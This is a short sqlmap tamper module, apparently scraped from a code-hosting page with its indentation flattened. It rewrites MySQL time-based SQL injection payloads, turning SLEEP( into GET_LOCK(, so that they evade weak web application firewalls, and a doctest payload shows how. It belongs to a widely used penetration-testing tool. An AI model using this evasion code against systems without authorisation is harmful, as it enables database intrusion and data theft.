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40 lines
868 B
Python
40 lines
868 B
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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from lib.core.data import kb
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)"
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Requirement:
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* MySQL
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Tested against:
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* MySQL 5.0 and 5.5
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Notes:
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* Useful to bypass very weak and bespoke web application firewalls
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that filter the SLEEP() and BENCHMARK() functions
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* Reference: https://zhuanlan.zhihu.com/p/35245598
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>>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName
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True
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"""
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if payload:
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payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName)
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return payload
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